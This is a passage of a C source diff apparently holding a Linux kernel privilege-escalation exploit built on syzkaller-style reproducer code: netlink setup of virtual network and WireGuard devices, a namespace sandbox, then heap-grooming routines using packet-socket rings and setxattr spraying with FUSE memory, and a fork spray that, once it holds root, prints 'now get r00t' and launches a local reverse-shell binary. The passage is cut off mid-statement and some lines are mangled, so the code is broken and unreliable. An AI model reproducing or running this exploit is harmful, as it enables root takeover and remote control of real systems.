struct in6_addr in6_addr; + inet_pton(AF_INET6, addr, &in6_addr); + int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); + if (err < 0) { + } +} + +static struct nlmsg nlmsg; + +#define DEVLINK_FAMILY_NAME "devlink" + +#define DEVLINK_CMD_PORT_GET 5 +#define DEVLINK_ATTR_BUS_NAME 1 +#define DEVLINK_ATTR_DEV_NAME 2 +#define DEVLINK_ATTR_NETDEV_NAME 7 + +static struct nlmsg nlmsg2; + +static void initialize_devlink_ports(const char* bus_name, const char* dev_name, + const char* netdev_prefix) +{ + struct genlmsghdr genlhdr; + int len, total_len, id, err, offset; + uint16_t netdev_index; + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); + if (sock == -1) + exit(1); + int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (rtsock == -1) + exit(1); + id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true); + if (id == -1) + goto error; + memset(&genlhdr, 0, sizeof(genlhdr)); + genlhdr.cmd = DEVLINK_CMD_PORT_GET; + netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr)); + netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1); + netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1); + err = netlink_send_ext(&nlmsg, sock, id, &total_len, true); + if (err < 0) { + goto error; + } + offset = 0; + netdev_index = 0; + while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) { + struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + + NLMSG_ALIGN(sizeof(genlhdr))); + for (; (char*)attr < nlmsg.buf + offset + len; + attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { + if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) { + char* port_name; + char netdev_name[IFNAMSIZ]; + port_name = (char*)(attr + 1); + snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, + netdev_index); + netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, + netdev_name); + break; + } + } + offset += len; + netdev_index++; + } +error: + close(rtsock); + close(sock); +} + +#define DEV_IPV4 "172.20.20.%d" +#define DEV_IPV6 "fe80::%02x" +#define DEV_MAC 0x00aaaaaaaaaa + +static void netdevsim_add(unsigned int addr, unsigned int port_count) +{ + char buf[16]; + sprintf(buf, "%u %u", addr, port_count); + if (write_file("/sys/bus/netdevsim/new_device", buf)) { + snprintf(buf, sizeof(buf), "netdevsim%d", addr); + initialize_devlink_ports("netdevsim", buf, "netdevsim"); + } +} + +#define WG_GENL_NAME "wireguard" +enum wg_cmd { + WG_CMD_GET_DEVICE, + WG_CMD_SET_DEVICE, +}; +enum wgdevice_attribute { + WGDEVICE_A_UNSPEC, + WGDEVICE_A_IFINDEX, + WGDEVICE_A_IFNAME, + WGDEVICE_A_PRIVATE_KEY, + WGDEVICE_A_PUBLIC_KEY, + WGDEVICE_A_FLAGS, + WGDEVICE_A_LISTEN_PORT, + WGDEVICE_A_FWMARK, + WGDEVICE_A_PEERS, +}; +enum wgpeer_attribute { + WGPEER_A_UNSPEC, + WGPEER_A_PUBLIC_KEY, + WGPEER_A_PRESHARED_KEY, + WGPEER_A_FLAGS, + WGPEER_A_ENDPOINT, + WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, + WGPEER_A_LAST_HANDSHAKE_TIME, + WGPEER_A_RX_BYTES, + WGPEER_A_TX_BYTES, + WGPEER_A_ALLOWEDIPS, + WGPEER_A_PROTOCOL_VERSION, +}; +enum wgallowedip_attribute { + WGALLOWEDIP_A_UNSPEC, + WGALLOWEDIP_A_FAMILY, + WGALLOWEDIP_A_IPADDR, + WGALLOWEDIP_A_CIDR_MASK, +}; + +static void netlink_wireguard_setup(void) +{ + const char ifname_a[] = "wg0"; + const char ifname_b[] = "wg1"; + const char ifname_c[] = "wg2"; + const char private_a[] = + "\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1" + "\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43"; + const char private_b[] = + "\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c" + "\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e"; + const char private_c[] = + "\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15" + "\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42"; + const char public_a[] = + "\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25" + "\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c"; + const char public_b[] = + "\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e" + "\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b"; + const char public_c[] = + "\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c" + "\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22"; + const uint16_t listen_a = 20001; + const uint16_t listen_b = 20002; + const uint16_t listen_c = 20003; + const uint16_t af_inet = AF_INET; + const uint16_t af_inet6 = AF_INET6; + const struct sockaddr_in endpoint_b_v4 = { + .sin_family = AF_INET, + .sin_port = htons(listen_b), + .sin_addr = {htonl(INADDR_LOOPBACK)}}; + const struct sockaddr_in endpoint_c_v4 = { + .sin_family = AF_INET, + .sin_port = htons(listen_c), + .sin_addr = {htonl(INADDR_LOOPBACK)}}; + struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6, + .sin6_port = htons(listen_a)}; + endpoint_a_v6.sin6_addr = in6addr_loopback; + struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6, + .sin6_port = htons(listen_c)}; + endpoint_c_v6.sin6_addr = in6addr_loopback; + const struct in_addr first_half_v4 = {0}; + const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)}; + const struct in6_addr first_half_v6 = {{{0}}}; + const struct in6_addr second_half_v6 = {{{0x80}}}; + const uint8_t half_cidr = 1; + const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19}; + struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1}; + int sock; + int id, err; + sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); + if (sock == -1) { + return; + } + id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true); + if (id == -1) + goto error; + netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); + netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1); + netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32); + netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); + netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, + sizeof(endpoint_b_v4)); + netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, + &persistent_keepalives[0], 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, + sizeof(first_half_v4)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, + sizeof(first_half_v6)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); + netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6, + sizeof(endpoint_c_v6)); + netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, + &persistent_keepalives[1], 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, + sizeof(second_half_v4)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, + sizeof(second_half_v6)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + err = netlink_send(&nlmsg, sock); + if (err < 0) { + } + netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); + netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1); + netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32); + netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); + netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, + sizeof(endpoint_a_v6)); + netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, + &persistent_keepalives[2], 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, + sizeof(first_half_v4)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, + sizeof(first_half_v6)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); + netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4, + sizeof(endpoint_c_v4)); + netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, + &persistent_keepalives[3], 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, + sizeof(second_half_v4)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, + sizeof(second_half_v6)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + err = netlink_send(&nlmsg, sock); + if (err < 0) { + } + netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); + netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1); + netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32); + netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); + netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, + sizeof(endpoint_a_v6)); + netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, + &persistent_keepalives[4], 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, + sizeof(first_half_v4)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, + sizeof(first_half_v6)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); + netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, + sizeof(endpoint_b_v4)); + netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, + &persistent_keepalives[5], 2); + netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, + sizeof(second_half_v4)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_nest(&nlmsg, NLA_F_NESTED | 0); + netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); + netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, + sizeof(second_half_v6)); + netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + netlink_done(&nlmsg); + err = netlink_send(&nlmsg, sock); + if (err < 0) { + } + +error: + close(sock); +} +static void initialize_netdevices(void) +{ + char netdevsim[16]; + sprintf(netdevsim, "netdevsim%d", (int)procid); + struct { + const char* type; + const char* dev; + } devtypes[] = { + {"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, + {"vcan", "vcan0"}, {"bond", "bond0"}, + {"team", "team0"}, {"dummy", "dummy0"}, + {"nlmon", "nlmon0"}, {"caif", "caif0"}, + {"batadv", "batadv0"}, {"vxcan", "vxcan1"}, + {"netdevsim", netdevsim}, {"veth", 0}, + {"xfrm", "xfrm0"}, {"wireguard", "wg0"}, + {"wireguard", "wg1"}, {"wireguard", "wg2"}, + }; + const char* devmasters[] = {"bridge", "bond", "team", "batadv"}; + struct { + const char* name; + int macsize; + bool noipv6; + } devices[] = { + {"lo", ETH_ALEN}, + {"sit0", 0}, + {"bridge0", ETH_ALEN}, + {"vcan0", 0, true}, + {"tunl0", 0}, + {"gre0", 0}, + {"gretap0", ETH_ALEN}, + {"ip_vti0", 0}, + {"ip6_vti0", 0}, + {"ip6tnl0", 0}, + {"ip6gre0", 0}, + {"ip6gretap0", ETH_ALEN}, + {"erspan0", ETH_ALEN}, + {"bond0", ETH_ALEN}, + {"veth0", ETH_ALEN}, + {"veth1", ETH_ALEN}, + {"team0", ETH_ALEN}, + {"veth0_to_bridge", ETH_ALEN}, + {"veth1_to_bridge", ETH_ALEN}, + {"veth0_to_bond", ETH_ALEN}, + {"veth1_to_bond", ETH_ALEN}, + {"veth0_to_team", ETH_ALEN}, + {"veth1_to_team", ETH_ALEN}, + {"veth0_to_hsr", ETH_ALEN}, + {"veth1_to_hsr", ETH_ALEN}, + {"hsr0", 0}, + {"dummy0", ETH_ALEN}, + {"nlmon0", 0}, + {"vxcan0", 0, true}, + {"vxcan1", 0, true}, + {"caif0", ETH_ALEN}, + {"batadv0", ETH_ALEN}, + {netdevsim, ETH_ALEN}, + {"xfrm0", ETH_ALEN}, + {"veth0_virt_wifi", ETH_ALEN}, + {"veth1_virt_wifi", ETH_ALEN}, + {"virt_wifi0", ETH_ALEN}, + {"veth0_vlan", ETH_ALEN}, + {"veth1_vlan", ETH_ALEN}, + {"vlan0", ETH_ALEN}, + {"vlan1", ETH_ALEN}, + {"macvlan0", ETH_ALEN}, + {"macvlan1", ETH_ALEN}, + {"ipvlan0", ETH_ALEN}, + {"ipvlan1", ETH_ALEN}, + {"veth0_macvtap", ETH_ALEN}, + {"veth1_macvtap", ETH_ALEN}, + {"macvtap0", ETH_ALEN}, + {"macsec0", ETH_ALEN}, + {"veth0_to_batadv", ETH_ALEN}, + {"veth1_to_batadv", ETH_ALEN}, + {"batadv_slave_0", ETH_ALEN}, + {"batadv_slave_1", ETH_ALEN}, + {"geneve0", ETH_ALEN}, + {"geneve1", ETH_ALEN}, + {"wg0", 0}, + {"wg1", 0}, + {"wg2", 0}, + }; + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + unsigned i; + for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) + netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev); + for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { + char master[32], slave0[32], veth0[32], slave1[32], veth1[32]; + sprintf(slave0, "%s_slave_0", devmasters[i]); + sprintf(veth0, "veth0_to_%s", devmasters[i]); + netlink_add_veth(&nlmsg, sock, slave0, veth0); + sprintf(slave1, "%s_slave_1", devmasters[i]); + sprintf(veth1, "veth1_to_%s", devmasters[i]); + netlink_add_veth(&nlmsg, sock, slave1, veth1); + sprintf(master, "%s0", devmasters[i]); + netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL); + netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL); + } + netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL); + netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL); + netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr"); + netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr"); + netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1"); + netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL); + netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL); + netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi"); + netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", + "veth1_virt_wifi"); + netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan"); + netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q)); + netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD)); + netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan"); + netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan"); + netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0); + netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S, + IPVLAN_F_VEPA); + netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap"); + netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap"); + netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap"); + char addr[32]; + sprintf(addr, DEV_IPV4, 14 + 10); + struct in_addr geneve_addr4; + if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0) + exit(1); + struct in6_addr geneve_addr6; + if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0) + exit(1); + netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0); + netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6); + netdevsim_add((int)procid, 4); + netlink_wireguard_setup(); + for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) { + char addr[32]; + sprintf(addr, DEV_IPV4, i + 10); + netlink_add_addr4(&nlmsg, sock, devices[i].name, addr); + if (!devices[i].noipv6) { + sprintf(addr, DEV_IPV6, i + 10); + netlink_add_addr6(&nlmsg, sock, devices[i].name, addr); + } + uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40); + netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr, + devices[i].macsize, NULL); + } + close(sock); +} +static void initialize_netdevices_init(void) +{ + int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (sock == -1) + exit(1); + struct { + const char* type; + int macsize; + bool noipv6; + bool noup; + } devtypes[] = { + {"nr", 7, true}, + {"rose", 5, true, true}, + }; + unsigned i; + for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) { + char dev[32], addr[32]; + sprintf(dev, "%s%d", devtypes[i].type, (int)procid); + sprintf(addr, "172.30.%d.%d", i, (int)procid + 1); + netlink_add_addr4(&nlmsg, sock, dev, addr); + if (!devtypes[i].noipv6) { + sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1); + netlink_add_addr6(&nlmsg, sock, dev, addr); + } + int macsize = devtypes[i].macsize; + uint64_t macaddr = 0xbbbbbb + + ((unsigned long long)i << (8 * (macsize - 2))) + + (procid << (8 * (macsize - 1))); + netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr, + macsize, NULL); + } + close(sock); +} + +static void setup_common() +{ + if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) { + } +} + +static void loop(); + +static int wait_for_loop(int pid) +{ + if (pid < 0) + exit(1); + int status = 0; + while (waitpid(-1, &status, __WALL) != pid) { + } + return WEXITSTATUS(status); +} + +static void drop_caps(void) +{ + struct __user_cap_header_struct cap_hdr = {}; + struct __user_cap_data_struct cap_data[2] = {}; + cap_hdr.version = _LINUX_CAPABILITY_VERSION_3; + cap_hdr.pid = getpid(); + if (syscall(SYS_capget, &cap_hdr, &cap_data)) + exit(1); + const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE); + cap_data[0].effective &= ~drop; + cap_data[0].permitted &= ~drop; + cap_data[0].inheritable &= ~drop; + if (syscall(SYS_capset, &cap_hdr, &cap_data)) + exit(1); +} + +static int real_uid; +static int real_gid; +__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20]; + +static int namespace_sandbox_proc(void* arg) +{ + write_file("/proc/self/setgroups", "deny"); + if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) + exit(1); + if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) + exit(1); + initialize_netdevices_init(); + if (unshare(CLONE_NEWNET)) + exit(1); + initialize_netdevices(); + + loop(); + exit(1); +} + +static int do_sandbox_namespace(void) +{ + setup_common(); + real_uid = getuid(); + real_gid = getgid(); + mprotect(sandbox_stack, 4096, PROT_NONE); + int pid = + clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64], + CLONE_NEWUSER | CLONE_NEWPID, 0); + return wait_for_loop(pid); +} + +uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; + +struct fork_args { + int n; + unsigned int time; +}; + +void fork_spary_n(int n, unsigned int time, int debug){ + int i; + int pid ; + for(i = 0;i < n;i++){ + pid = fork(); + if(pid ==0){ + ioctl(-1, 0x37778, &debug); + sleep(time); + if(getuid() == 0){ + fprintf(stderr, "[+] now get r00t\n" ); + system("id"); + system("/home/p4nda/Desktop/reverse_shell"); + } else{ + pause(); + } + } + } +} + +#include +#include +#include + +void packet_socket_rx_ring_init(int s, unsigned int block_size, + unsigned int frame_size, unsigned int block_nr, + unsigned int sizeof_priv, unsigned int timeout) { + int v = TPACKET_V3; + int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); + if (rv < 0) { + perror("[-] setsockopt(PACKET_VERSION)"); + exit(EXIT_FAILURE); + } + + struct tpacket_req3 req; + memset(&req, 0, sizeof(req)); + req.tp_block_size = block_size; + req.tp_frame_size = frame_size; + req.tp_block_nr = block_nr; + req.tp_frame_nr = (block_size * block_nr) / frame_size; + req.tp_retire_blk_tov = timeout; + req.tp_sizeof_priv = sizeof_priv; + req.tp_feature_req_word = 0; + + rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); + if (rv < 0) { + perror("[-] setsockopt(PACKET_RX_RING)"); + exit(EXIT_FAILURE); + } +} + +int packet_socket_setup(unsigned int block_size, unsigned int frame_size, + unsigned int block_nr, unsigned int sizeof_priv, int timeout) { + int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + if (s < 0) { + perror("[-] socket(AF_PACKET)"); + exit(EXIT_FAILURE); + } + + packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, + sizeof_priv, timeout); + + struct sockaddr_ll sa; + memset(&sa, 0, sizeof(sa)); + sa.sll_family = PF_PACKET; + sa.sll_protocol = htons(ETH_P_ALL); + sa.sll_ifindex = if_nametoindex("lo"); + sa.sll_hatype = 0; + sa.sll_pkttype = 0; + sa.sll_halen = 0; + + int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); + if (rv < 0) { + perror("[-] bind(AF_PACKET)"); + exit(EXIT_FAILURE); + } + + return s; +} + +void initialise_shared(shared_data **data) +{ + // place our shared data in shared memory + int prot = PROT_READ | PROT_WRITE; + int flags = MAP_SHARED | MAP_ANONYMOUS; + *data = mmap(NULL, sizeof(shared_data), prot, flags, -1, 0); + if (*data == MAP_FAILED) { + perror("mmap"); + exit(EXIT_FAILURE); + } +#ifdef DEBUG + printf("initialise_shared map %lx", *data); +#endif + (*data)->done = 0; + + // initialise mutex so it works properly in shared memory + pthread_mutexattr_t attr; + pthread_mutexattr_init(&attr); + pthread_mutexattr_setpshared(&attr, PTHREAD_PROCESS_SHARED); + pthread_mutex_init(&(*data)->mutex, &attr); + for (int i=0; i<=N_PROCS; i++) + pthread_mutex_init(&(*data)->proc_mutex[i], &attr); +} + +int pagealloc_pad(int count, int size) { + return packet_socket_setup(size, 2048, count, 0, 100); +} + +int packet_sock_kmalloc() { + int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); + if (s == -1) { + perror("[-] socket(SOCK_DGRAM)"); + exit(EXIT_FAILURE); + } + return s; +} + +void send_xattr_debug(void *arg) +{ + char name[256]; + void *addr = ((struct spray_argv *)arg)->addr; + int size = ((struct spray_argv *)arg)->size; + pthread_mutex_lock(&spray_lock->mutex); + spray_lock->done++; + pthread_mutex_unlock(&spray_lock->mutex); +#ifdef DEBUG + int debug = (PRINT_PAGE_ALLOC | PRINT_OOB_INFO | PRINT_PAGE_FREE_DETAIL | PRINT_USER_KEY_PAYLOAD | PRINT_XATTR); + ioctl(-1, 0x37778, &debug); +#endif + syscall(__NR_setxattr, "./", "exp", addr, size, 0); +} + +void spray_4k_thread(int size, int n) +{ + pthread_t *thr = malloc(sizeof(pthread_t)); + struct spray_argv *arg = (struct spray_argv *)malloc(sizeof(struct spray_argv)); + arg->addr = fuse_mem_addr; + arg->size = size; + pthread_mutex_lock(&spray_lock->mutex); + for (int j=0; jdone++; + pthread_create(thr, NULL, send_xattr_debug, (void *) arg); + } +} + +void release_spray_4k_lock(int limit) { + pthread_mutex_unlock(&spray_lock->mutex); + while 